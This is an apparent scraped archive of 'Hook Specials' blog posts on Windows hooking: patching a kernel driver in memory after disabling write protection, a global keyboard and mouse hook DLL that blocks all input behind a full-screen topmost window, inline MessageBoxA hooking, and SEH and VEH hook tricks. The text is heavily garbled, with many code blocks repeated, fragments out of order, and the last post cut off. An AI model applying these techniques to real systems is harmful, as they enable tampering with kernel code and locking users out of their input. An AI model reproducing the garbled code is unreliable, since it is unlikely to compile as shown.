Author:海风月影
Showing posts with label Hook Specials. Show all posts
Showing posts with label Hook Specials. Show all posts
Sunday, September 11, 2011
Friday, September 9, 2011
Hook Specials 31 : Debugg driver
Author:softworm
Worte driver , Watch the driver to work, only learn driver. First register image loader message routine.
Code:
VOID LoadImageNotify (
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo
)
{
ANSI_STRING asImageName;
PCHAR Delimiter;
NTSTATUS Status;
ULONG Base;
ULONG Entry;
ULONG Patch;
ULONG i;
RtlUnicodeStringToAnsiString(&asImageName, FullImageName, TRUE);
if (!ImageInfo->SystemModeImage)
{
goto __End; //不是驱动
}
Delimiter = strrchr(asImageName.Buffer, '\\');
if (Delimiter == NULL)
goto __End;
Delimiter++;
if( _strnicmp(Delimiter,"xxx.sys",strlen("xxx.sys")) != 0)
goto __End;
Base = (ULONG)ImageInfo->ImageBase;
DbgPrint("%s Loaded, MappingAddress=%08X, Size=%08X\n",
asImageName.Buffer,
ImageInfo->ImageBase,
ImageInfo->ImageSize );
//The address immediate hard code, May analysis PE file and use disassemb engine
// Original driver's DriverEntry export:
// leave
// retn 8
//
//
Entry = Base + 0x1111;
Patch = Base + 0x2222;
g_ReturnAddress = Base + 0x3333;
if (!(*(PULONG)Entry == 0x83EC8B55 && *(PUCHAR)(Entry+5) == 0x14)) //Check Entry
{
DbgPrint("Mismatched Entry!\n");
goto __End;
}
if (*(PULONG)Patch != 0x0008C2C9)
{
DbgPrint("Mismatched Patch Point!\n");
goto __End;
}
__asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX
}
*(PUCHAR)Entry = 0xE9;
*(PULONG)(Entry+1) = (ULONG)&SaveDriverObject - (Entry+5);
*(PUCHAR)Patch = 0xE9;
*(PULONG)(Patch+1) = (ULONG)&ReplaceDispatch - (Patch+5);
__asm
{
MOV EAX, CR0
OR EAX, 10000H //enable WP bit
MOV CR0, EAX
STI
}
__End:
RtlFreeAnsiString(&asImageName);
}
The function patch two part of original driver
PUNICODE_STRING FullImageName,
HANDLE ProcessId,
PIMAGE_INFO ImageInfo
)
{
ANSI_STRING asImageName;
PCHAR Delimiter;
NTSTATUS Status;
ULONG Base;
ULONG Entry;
ULONG Patch;
ULONG i;
RtlUnicodeStringToAnsiString(&asImageName, FullImageName, TRUE);
if (!ImageInfo->SystemModeImage)
{
goto __End; //不是驱动
}
Delimiter = strrchr(asImageName.Buffer, '\\');
if (Delimiter == NULL)
goto __End;
Delimiter++;
if( _strnicmp(Delimiter,"xxx.sys",strlen("xxx.sys")) != 0)
goto __End;
Base = (ULONG)ImageInfo->ImageBase;
DbgPrint("%s Loaded, MappingAddress=%08X, Size=%08X\n",
asImageName.Buffer,
ImageInfo->ImageBase,
ImageInfo->ImageSize );
//The address immediate hard code, May analysis PE file and use disassemb engine
// Original driver's DriverEntry export:
// leave
// retn 8
//
//
Entry = Base + 0x1111;
Patch = Base + 0x2222;
g_ReturnAddress = Base + 0x3333;
if (!(*(PULONG)Entry == 0x83EC8B55 && *(PUCHAR)(Entry+5) == 0x14)) //Check Entry
{
DbgPrint("Mismatched Entry!\n");
goto __End;
}
if (*(PULONG)Patch != 0x0008C2C9)
{
DbgPrint("Mismatched Patch Point!\n");
goto __End;
}
__asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX
}
*(PUCHAR)Entry = 0xE9;
*(PULONG)(Entry+1) = (ULONG)&SaveDriverObject - (Entry+5);
*(PUCHAR)Patch = 0xE9;
*(PULONG)(Patch+1) = (ULONG)&ReplaceDispatch - (Patch+5);
__asm
{
MOV EAX, CR0
OR EAX, 10000H //enable WP bit
MOV CR0, EAX
STI
}
__End:
RtlFreeAnsiString(&asImageName);
}
The function patch two part of original driver
DriverEntry entry of original driver, Be designed to get paramter of DriverObject, Because optimize compiler, The paramter is cleared to 0, So first save a share.
Second export of DriverEntry, Here replace dispatch function of DriverObject registered.
Second export of DriverEntry, Here replace dispatch function of DriverObject registered.
Code:
VOID __declspec (naked) SaveDriverObject()
{
// 55 push ebp
// 8B EC mov ebp, esp
// 83 EC 14 sub esp, 14h
__asm {
pushad
mov eax, [esp+20h+4]
mov g_DrvObj, eax
popad
push ebp ; Original code
mov ebp, esp
sub esp, 14h
jmp [g_ReturnAddress]
}
}
VOID __declspec (naked) ReplaceDispatch()
{
__asm {
pushad
mov eax, g_DrvObj
mov ecx, [eax+18h] ; DriverExtension
mov ebx, [eax+34h] ; Unload
mov g_Unload, ebx
mov ebx, MyUnload
mov [eax+34h], ebx
mov ebx, [eax+38h]
mov g_Create, ebx
mov ebx, MyCreateCloseCleanup
mov [eax+38h], ebx ; Create
mov [eax+40h], ebx ; Close
mov [eax+80h], ebx ; CleanUp
mov ebx, [eax+70h]
mov g_DeviceControl, ebx
mov ebx, MyDeviceControl
mov [eax+70h], ebx
popad
//Execute original export code 执行原出口代码
__emit 0xC9 //VC6的汇编不支持leave
retn 8
}
}
{
// 55 push ebp
// 8B EC mov ebp, esp
// 83 EC 14 sub esp, 14h
__asm {
pushad
mov eax, [esp+20h+4]
mov g_DrvObj, eax
popad
push ebp ; Original code
mov ebp, esp
sub esp, 14h
jmp [g_ReturnAddress]
}
}
VOID __declspec (naked) ReplaceDispatch()
{
__asm {
pushad
mov eax, g_DrvObj
mov ecx, [eax+18h] ; DriverExtension
mov ebx, [eax+34h] ; Unload
mov g_Unload, ebx
mov ebx, MyUnload
mov [eax+34h], ebx
mov ebx, [eax+38h]
mov g_Create, ebx
mov ebx, MyCreateCloseCleanup
mov [eax+38h], ebx ; Create
mov [eax+40h], ebx ; Close
mov [eax+80h], ebx ; CleanUp
mov ebx, [eax+70h]
mov g_DeviceControl, ebx
mov ebx, MyDeviceControl
mov [eax+70h], ebx
popad
//Execute original export code 执行原出口代码
__emit 0xC9 //VC6的汇编不支持leave
retn 8
}
}
Then may mount oneself code , Start only PassThru :
Code:
VOID MyUnload( PDRIVER_OBJECT DriverObject )
{
DbgPrint("MyUnload\n");
((PDRIVER_UNLOAD)g_Unload)(DriverObject);
return;
}
NTSTATUS MyCreateCloseCleanup( PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
DbgPrint("MyCreateCloseCleanup\n");
return ((PDRIVER_DISPATCH)g_Create)(DeviceObject, Irp);
}
NTSTATUS MyDeviceControl( PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION irpSp;
PVOID inputBuff, outputBuff;
ULONG inputLen, outputLen, ctlCode;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
irpSp = IoGetCurrentIrpStackLocation(Irp);
// Buffered io
inputBuff = Irp->AssociatedIrp.SystemBuffer;
outputBuff = Irp->AssociatedIrp.SystemBuffer;
inputLen = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outputLen = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ctlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
switch (ctlCode)
{
case IOCTL_INIT:
//逆的代码...
break;
default:
DbgPrint("DeviceControl : Not Implemented IOCTL=%08X\n", ctlCode);
return ((PDRIVER_DISPATCH)g_DeviceControl)(DeviceObject, Irp);
break;
}
__End:
Irp->IoStatus.Information = outputLen;
Irp->IoStatus.Status = Status;
IoCompleteRequest (Irp, IO_NO_INCREMENT);
return Status;
}
Then it doesn't matter, Reverse IOCTL code and one by one replace.
{
DbgPrint("MyUnload\n");
((PDRIVER_UNLOAD)g_Unload)(DriverObject);
return;
}
NTSTATUS MyCreateCloseCleanup( PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
DbgPrint("MyCreateCloseCleanup\n");
return ((PDRIVER_DISPATCH)g_Create)(DeviceObject, Irp);
}
NTSTATUS MyDeviceControl( PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION irpSp;
PVOID inputBuff, outputBuff;
ULONG inputLen, outputLen, ctlCode;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
irpSp = IoGetCurrentIrpStackLocation(Irp);
// Buffered io
inputBuff = Irp->AssociatedIrp.SystemBuffer;
outputBuff = Irp->AssociatedIrp.SystemBuffer;
inputLen = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outputLen = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ctlCode = irpSp->Parameters.DeviceIoControl.IoControlCode;
switch (ctlCode)
{
case IOCTL_INIT:
//逆的代码...
break;
default:
DbgPrint("DeviceControl : Not Implemented IOCTL=%08X\n", ctlCode);
return ((PDRIVER_DISPATCH)g_DeviceControl)(DeviceObject, Irp);
break;
}
__End:
Irp->IoStatus.Information = outputLen;
Irp->IoStatus.Status = Status;
IoCompleteRequest (Irp, IO_NO_INCREMENT);
return Status;
}
Then it doesn't matter, Reverse IOCTL code and one by one replace.
Hook Specials 30: Hook's note
Author:haithink
SendMessage() function send message to not entry message list to wait to get by GetMessage(), Immediate pass on window's function.
Example:
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
return 1; //Hook function return non-zero value, System isn't send message to program
Example:
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
return 1; //Hook function return non-zero value, System isn't send message to program
}
HHOOK g_hKeyboard=NULL;
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(VK_SPACE==wParam)//Only shield space key, Mouse can right click, use go to definition to view other virtual key
HHOOK g_hKeyboard=NULL;
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(VK_SPACE==wParam)//Only shield space key, Mouse can right click, use go to definition to view other virtual key
return 1;
//if(VK_F4==wParam&&(1==(lParam>>29&1)))
//return 1;
//Shield Alt+F4,lParam第29位请查MSDN
else
return ::CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
BOOL CHookDemoDlg::OnInitDialog()
{
…….
::SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,::GetCurrentThreadId());
g_hKeyboard=::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,::GetCurrentThreadId());
}
Create back door for oneself program
Write the hook function:
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
// if(VK_SPACE==wParam)
/* if(VK_F4==wParam&&(1==(lParam>>29&1)))
return 1;
else
return ::CallNextHookEx(g_hKeyboard,code,wParam,lParam);*/
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_hKeyboard);
UnhookWindowsHookEx(g_hKeyboard);
}
return 1;
}
Let's hook sub is related to all thread, SetWindowsHookEx's four paramter set 0,Thirdly is on dll of hook function.
Install to relevance all thread hook, Hook function wirte on dll, Remember to statement it to export function, in .def.
.dll中
#include<windows.h>
HHOOK g_hMouse;
HHOOK g_hKeyboard=NULL;
HWND g_hWnd;
/*HINSTANCE g_hInst;
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to the DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
g_hInst=hinstDll;
}
*/
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
return 1;
}
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_hMouse);
::UnhookWindowsHookEx(g_hKeyboard);
}
return 1;
}
void SetHook(HWND hwnd)
{
g_hWnd=hwnd;
g_hKeyboard=::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("HOOk"),0);
g_hMouse=::SetWindowsHookEx(WH_MOUSE,MouseProc,::GetModuleHandle("HOOK"),0);
//::SetWindowsHookEx(WH_MOUSE,MouseProc,g_hInst,0);
}
.def中
LIBRARY HOOK //此句可无
EXPORTS
SetHook
Aim module, First statement to external import function
_declspec(dllimport)void SetHook(HWND hwnd);
BOOL CHookTestDlg::OnInitDialog()
{
…………..
int cxScreen,cyScreen;//Full screen current window, On top .
cxScreen=::GetSystemMetrics(SM_CXSCREEN);
cyScreen=::GetSystemMetrics(SM_CYSCREEN);
SetWindowPos(&wndTopMost,0,0,cxScreen,cyScreen,SWP_SHOWWINDOW);
SetHook(m_hWnd);
}
View Dll section
dumpbin -headers xxx.dll
Method one in .cpp
//if(VK_F4==wParam&&(1==(lParam>>29&1)))
//return 1;
//Shield Alt+F4,lParam第29位请查MSDN
else
return ::CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}
BOOL CHookDemoDlg::OnInitDialog()
{
…….
::SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,::GetCurrentThreadId());
g_hKeyboard=::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,::GetCurrentThreadId());
}
Create back door for oneself program
Write the hook function:
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
// if(VK_SPACE==wParam)
/* if(VK_F4==wParam&&(1==(lParam>>29&1)))
return 1;
else
return ::CallNextHookEx(g_hKeyboard,code,wParam,lParam);*/
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_hKeyboard);
UnhookWindowsHookEx(g_hKeyboard);
}
return 1;
}
Let's hook sub is related to all thread, SetWindowsHookEx's four paramter set 0,Thirdly is on dll of hook function.
Install to relevance all thread hook, Hook function wirte on dll, Remember to statement it to export function, in .def.
.dll中
#include<windows.h>
HHOOK g_hMouse;
HHOOK g_hKeyboard=NULL;
HWND g_hWnd;
/*HINSTANCE g_hInst;
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to the DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
g_hInst=hinstDll;
}
*/
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
return 1;
}
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(VK_F2==wParam)
{
::SendMessage(g_hWnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_hMouse);
::UnhookWindowsHookEx(g_hKeyboard);
}
return 1;
}
void SetHook(HWND hwnd)
{
g_hWnd=hwnd;
g_hKeyboard=::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("HOOk"),0);
g_hMouse=::SetWindowsHookEx(WH_MOUSE,MouseProc,::GetModuleHandle("HOOK"),0);
//::SetWindowsHookEx(WH_MOUSE,MouseProc,g_hInst,0);
}
.def中
LIBRARY HOOK //此句可无
EXPORTS
SetHook
Aim module, First statement to external import function
_declspec(dllimport)void SetHook(HWND hwnd);
BOOL CHookTestDlg::OnInitDialog()
{
…………..
int cxScreen,cyScreen;//Full screen current window, On top .
cxScreen=::GetSystemMetrics(SM_CXSCREEN);
cyScreen=::GetSystemMetrics(SM_CYSCREEN);
SetWindowPos(&wndTopMost,0,0,cxScreen,cyScreen,SWP_SHOWWINDOW);
SetHook(m_hWnd);
}
View Dll section
dumpbin -headers xxx.dll
Method one in .cpp
#pragma data_seg("MySec")
HWND g_hWnd=NULL;
#pragma data_seg() //Define section
#pragma comment(linker,"/section:Mysec,RWS")//设置连接选项
Method two on .cpp
#pragma data_seg("MySec")
HWND g_hWnd=NULL;
#pragma data_seg() //Define a section
on .def
SEGMENTS
MySec READ WRITE SHARED
HWND g_hWnd=NULL;
#pragma data_seg() //Define section
#pragma comment(linker,"/section:Mysec,RWS")//设置连接选项
Method two on .cpp
#pragma data_seg("MySec")
HWND g_hWnd=NULL;
#pragma data_seg() //Define a section
on .def
SEGMENTS
MySec READ WRITE SHARED
Hook Specials 32 : Api hook analyze in detail
Author:Alex(Yock.W)
Preface rudimentary knowledge
The article will overall analyze a fews api hook's method .
What is Hook?
The article will overall analyze a fews api hook's method .
What is Hook?
Hook, is platform of windows message dispose machine-made, Application program may set sub program to keep watch on some kind of message of specials window above, and window of be kept watch on is created by other process. When message go to , Realize it on realize function of target window . Hook machine-made allow application program to intercept and capture for realize message of window or specials event.
Hook infact is program segment about dispose message, Through system call it, and load it on system. Whenever special message is sent, hook program catch the message before not go to aim window, That is hook function first get control power. Hook function may cure (change) the message now, passable not cure to continue and pass on the message, or force finished to pass on message.
Hook theory
Each Hook have a related chain table, by system maintenance, Chain table point callback function of is call by hook sub program .
LRESULT WINAPI HookCallBack(
int nCode,
WPARAM wParam,
LPARAM lParam);
nCode //Even code事件代码
wParam //message type
lParam //include message
When take place be hooked type related message, The message is passed on hook sub program of chain table point by system, Sub program dispose message inside.
Hook install and unlaod
Use API SetWindowsHookEx on window to install Hook chain table, set up hook lies header of hook chain table.
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
idHook //hook type安装的钩子类型
lpfn // sub function pointer子程函数指针
hMod // Application program instance handle
dwThreadId // Hook related thread identifier
When message type of be hooked take place, System call hook sub program with related chain table header. By sub program decide whether pass on the event to next sub program. Hook sub program pass on event to next hook need call API CallNextHookEx by Windows iffered.
LRESULT CallNextHookEx(
HHOOK hhk,
int nCode,
WPARAM wParam,
LPARAM lParam);
hhk //current handle of hook, by SetWindowsHookEx return
nCode //event code
wParam //type message
lParam // include message
When message type of be hooked take place, System call hook sub program with related chain table header. By sub program decide whether pass on the event to next sub program. Hook sub program pass on event to next hook need call API CallNextHookEx by Windows iffered.
LRESULT CallNextHookEx(
HHOOK hhk,
int nCode,
WPARAM wParam,
LPARAM lParam);
hhk //current handle of hook, by SetWindowsHookEx return
nCode //event code
wParam //type message
lParam // include message
Hook finish, need call UnHookWindowsHookEx to unload.
UnHookWindowsHookEx(
HHOOK hhk);
A few methods of Api Hook
UnHookWindowsHookEx(
HHOOK hhk);
A few methods of Api Hook
One. Modify address space of function procedure mapping
Api Hook:
You know, When call function, first Call 0xFFFFFF, Go to function mapping to address space of memory , at this time, Esodic paramter had push, So we only modify header of function, jump to our custom procedure, Such we can reach to keep watch on api function aim. Like that, how much space to write code for jump to our custom procedure?
Descend upon , Only five bytes , Why? Watch code:
jmp 0xFFFFFFFF
jmp command only 1 byte, address is four bytes, So only five bytes.
Some people likely ask, Why use Call?
Because Call command will through ret to return call under command to continue execute after realize jump , and that Sub program control after Jmp command realize to jump .
We know above method through modify header of function to reach our aim, So We need get address of header first, Through LoadLibrary and GetProcAddress to get our address pointer of custodial function on memory mapping. Through MessageBoxA to example:
typedef int (__stdcall *TMessageBoxA)(HWND hWnd,LPSTR lpText,LPSTR lpCaption,int uType);
extern "C" TMessageBoxA __fastcall GetPFuncAddr(LPSTR DllName,const char* FullName);
TMessageBoxA __fastcall GetPFuncAddr(LPSTR DllName,const char* FullName)
{
void *DllModule;
DllModule = LoadLibrary(DllName);
TMessageBoxA PAddr = (TMessageBoxA)GetProcAddress(DllModule,FullName);
return PAddr;
}
After point function header pointer of memory mapping, Then read out five bytes of function header. Why read out five bytes of function header? of course write data for recover.
ReadProcessMemory:
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesRead);
hProcess //Process handle
lpBaseAddress //Read memory start address
lpBuffer 保存数据的指针
nSize 数据大小
lpNumberOfBytesRead //address of number of bytes read
BYTE *pFuncData = new BYTE[5];
LPDWORD iRead;
ReadProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,pFuncData,5,iRead);
After save data of original entry point, Write to point address of our function onself.
BYTE AsmCode[5];
AsmCode[0] = 0xE9;
__asm
{
lea eax, MyMessageBoxA
mov ebx,PMessageBoxA
sub eax,ebx
sub eax,5
mov dword ptr[AsmCode+1],eax
}
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,AsmCode,5,iWrite);
MyMessageBoxA is created function by oneself:
int WINAPI MyMessageBoxA(HWND hWnd,LPSTR lpText,LPSTR lpCaption,int uType)
{
//Show messagebox, change eisodic caption paramter
//So first recover MessageBoxA
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,pFuncData,5,iWrite);
int Result = MessageBoxA(hWnd,lpText,"ApiHook Test",uType);
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,AsmCode,5,iWrite);
return Result;
}
Recover original entry data of API:
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,pFuncData,5,iWrite);
Prevent to modify function entry data to proceed API HOOK:
Program start to save hinge five bytes of API entry, periodical inspection, if be modify, modify return.
----------------------------------------------------------------
BOOL ReadProcessMemory(
HANDLE hProcess,
LPCVOID lpBaseAddress,
LPVOID lpBuffer,
DWORD nSize,
LPDWORD lpNumberOfBytesRead);
hProcess //Process handle
lpBaseAddress //Read memory start address
lpBuffer 保存数据的指针
nSize 数据大小
lpNumberOfBytesRead //address of number of bytes read
BYTE *pFuncData = new BYTE[5];
LPDWORD iRead;
ReadProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,pFuncData,5,iRead);
After save data of original entry point, Write to point address of our function onself.
BYTE AsmCode[5];
AsmCode[0] = 0xE9;
__asm
{
lea eax, MyMessageBoxA
mov ebx,PMessageBoxA
sub eax,ebx
sub eax,5
mov dword ptr[AsmCode+1],eax
}
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,AsmCode,5,iWrite);
MyMessageBoxA is created function by oneself:
int WINAPI MyMessageBoxA(HWND hWnd,LPSTR lpText,LPSTR lpCaption,int uType)
{
//Show messagebox, change eisodic caption paramter
//So first recover MessageBoxA
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,pFuncData,5,iWrite);
int Result = MessageBoxA(hWnd,lpText,"ApiHook Test",uType);
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,AsmCode,5,iWrite);
return Result;
}
Recover original entry data of API:
WriteProcessMemory((void *)GetCurrentProcess(),PMessageBoxA,pFuncData,5,iWrite);
Prevent to modify function entry data to proceed API HOOK:
Program start to save hinge five bytes of API entry, periodical inspection, if be modify, modify return.
----------------------------------------------------------------
Hook Specials 29 : A SEH'S HOOK [expansibility]
Peoples know SEH mechanism well. But may be do not understand code of try-except combined with SEH, That is undocumented.
Code:
#include <windows.h>
#include <stdio.h>
//The structure is vector table of try except (array),Undocumented
typedef struct __vect_handler
{
DWORD vFlag;
PVOID TryHandler;/*try-except{code}*/
PVOID NextContiueCode;/*Exception handling behind next address of command */
}vect_handler;
typedef struct __EXCEPTION_LIST
{
__EXCEPTION_LIST* next;//next SEH chain
PVOID handler;//exception handling program
vect_handler* vecthandler;
DWORD IndexVechandler;/*Cunrrent handling number of try-except , cast exception(on try-except) both modified it*/
}EXCEPTION_LIST;
char* ff = "try";
DWORD WINAPI handler()
{
/*突破except{}里不能定义局部变量,增加局部变量*/
/*debugger monitoring*/
/*encryption TRY code*/
__asm pushad
__asm push 0
__asm push 0
__asm push ff
__asm push 0
__asm mov eax,MessageBoxA
__asm call eax
__asm popad
// __asm jmp OldExceptCode realize the line like perfect hook
return EXCEPTION_EXECUTE_HANDLER/*jmp Contiue function*/;
};
void Contiue()
{
MessageBoxA( 0,"contiue",0,0);
ExitProcess( 0 );
};
int main( int argn, char** argv )
{
char k;
char* v = 0;//&k;
DWORD prepageprotect;
DWORD ntry = 0;
EXCEPTION_LIST* pe;
EXCEPTION_LIST* currentpe;
__asm mov eax, fs:[0]
__asm mov pe, eax
currentpe = pe;
BOOL ok = VirtualProtect( ¤tpe->vecthandler[0].TryHandler, 8, PAGE_EXECUTE_READWRITE, &prepageprotect );
currentpe->vecthandler[0].TryHandler = handler;//hook try-except 【0 】block
currentpe->vecthandler[0].NextContiueCode = Contiue;/*hook try-except 【0】 block 可以调到任何IP,可自己扩展功能*/
//以下do-while为显示SEH-try链没啥作用
do
{
printf( "Next:%08x,handler:%08x\n", pe->next, pe->handler );
if( pe->vecthandler )
{
vect_handler* v = pe->vecthandler;
while( v->vFlag == 0xffffffff )
{
printf( "------try:%d,handler:%08x,NextCode:%08x\n", ntry, v->TryHandler, v->NextContiueCode );
v++;
ntry++;
};
};
pe = pe->next;
}while( pe!=(EXCEPTION_LIST*)0xffffffff );
__try{
/*ASM 这里会有mov [ebp-4],0*///try-except 【0】对应vecthandler[0]
*v = 0;//将抛出异常,它已hooked
}__except(EXCEPTION_EXECUTE_HANDLER)
{
// 该异常处理将变化为调用handler函数
//异常处理完好后将调用Contiue函数;
};
__try{
/*ASM 这里会有mov [ebp-4],1*///try-except 【1】对应vecthandler[1]
*v = 0;
}__except(EXCEPTION_CONTINUE_EXECUTION)
{
};
getchar();
return 0;
}
Code:
#include <windows.h>
#include <stdio.h>
//The structure is vector table of try except (array),Undocumented
typedef struct __vect_handler
{
DWORD vFlag;
PVOID TryHandler;/*try-except{code}*/
PVOID NextContiueCode;/*Exception handling behind next address of command */
}vect_handler;
typedef struct __EXCEPTION_LIST
{
__EXCEPTION_LIST* next;//next SEH chain
PVOID handler;//exception handling program
vect_handler* vecthandler;
DWORD IndexVechandler;/*Cunrrent handling number of try-except , cast exception(on try-except) both modified it*/
}EXCEPTION_LIST;
char* ff = "try";
DWORD WINAPI handler()
{
/*突破except{}里不能定义局部变量,增加局部变量*/
/*debugger monitoring*/
/*encryption TRY code*/
__asm pushad
__asm push 0
__asm push 0
__asm push ff
__asm push 0
__asm mov eax,MessageBoxA
__asm call eax
__asm popad
// __asm jmp OldExceptCode realize the line like perfect hook
return EXCEPTION_EXECUTE_HANDLER/*jmp Contiue function*/;
};
void Contiue()
{
MessageBoxA( 0,"contiue",0,0);
ExitProcess( 0 );
};
int main( int argn, char** argv )
{
char k;
char* v = 0;//&k;
DWORD prepageprotect;
DWORD ntry = 0;
EXCEPTION_LIST* pe;
EXCEPTION_LIST* currentpe;
__asm mov eax, fs:[0]
__asm mov pe, eax
currentpe = pe;
BOOL ok = VirtualProtect( ¤tpe->vecthandler[0].TryHandler, 8, PAGE_EXECUTE_READWRITE, &prepageprotect );
currentpe->vecthandler[0].TryHandler = handler;//hook try-except 【0 】block
currentpe->vecthandler[0].NextContiueCode = Contiue;/*hook try-except 【0】 block 可以调到任何IP,可自己扩展功能*/
//以下do-while为显示SEH-try链没啥作用
do
{
printf( "Next:%08x,handler:%08x\n", pe->next, pe->handler );
if( pe->vecthandler )
{
vect_handler* v = pe->vecthandler;
while( v->vFlag == 0xffffffff )
{
printf( "------try:%d,handler:%08x,NextCode:%08x\n", ntry, v->TryHandler, v->NextContiueCode );
v++;
ntry++;
};
};
pe = pe->next;
}while( pe!=(EXCEPTION_LIST*)0xffffffff );
__try{
/*ASM 这里会有mov [ebp-4],0*///try-except 【0】对应vecthandler[0]
*v = 0;//将抛出异常,它已hooked
}__except(EXCEPTION_EXECUTE_HANDLER)
{
// 该异常处理将变化为调用handler函数
//异常处理完好后将调用Contiue函数;
};
__try{
/*ASM 这里会有mov [ebp-4],1*///try-except 【1】对应vecthandler[1]
*v = 0;
}__except(EXCEPTION_CONTINUE_EXECUTION)
{
};
getchar();
return 0;
}
Sunday, September 4, 2011
Hook Specials 28 : Realize hook with VEH
Author:方圆科技
The ways of hook have many methods , They have strengths and weaknesses . Hook of IAT need watch functions like LIABRARY,GETPROCESS . Real realize is trouble. Patch memory and jump to oneself code , That need realize original command on oneself code.....
Now I talk a new thinking , Exception is used to realize hook. You know, When a program happen exception, Exception pass on like this path: 1.debuger 2. Vectorization exception, mean VEH 3.SEH...
If don't use debugger, VEH is first receive exception. Like that We can inset int3 on want to space of hook code, Then through VEH to dispose hook, Realize hook final. Axiom is simple.
Code:
// Hook.h: interface for the CHook class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_HOOK_H__C0F41F39_4EB7_4129_BFB7_156CB203826F__INCLUDED_)
#define AFX_HOOK_H__C0F41F39_4EB7_4129_BFB7_156CB203826F__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <list>
using namespace std;
typedef void (*HOOKHANDLEFUN)(EXCEPTION_POINTERS *pExceptionInfo,void *pExtendData);
struct t_HookInfo
{
DWORD dwAddr;
HOOKHANDLEFUN pFn;
BYTE byOldCode;
};
class CHook
{
private:
static CHook *m_Instance; //单件模式
protected:
CHook(); //保证只生成一个实例
public:
static CHook* GetInstance();
t_HookInfo *m_pCurrentBP;
BOOL m_bSingleFlag;
EXCEPTION_POINTERS *m_pException;
void SetTF();
static LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo);
list<t_HookInfo*> m_listHook;
BOOL AddHook(DWORD dwHookAddr, HOOKHANDLEFUN pFn);
BOOL RemoveHook(DWORD dwHookAddr);
BOOL SetBP(t_HookInfo*);
BOOL UnSetBP(t_HookInfo*);
virtual ~CHook();
};
#endif // !defined(AFX_HOOK_H__C0F41F39_4EB7_4129_BFB7_156CB203826F__INCLUDED_)
Code:
// Hook.cpp: implementation of the CHook class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "HookDll.h"
#include "Hook.h"
#define TEST
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
#ifdef TEST
#define TESTMSG(str) AfxMessageBox(str)
#else
#define TESTMSG(str)
#endif
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
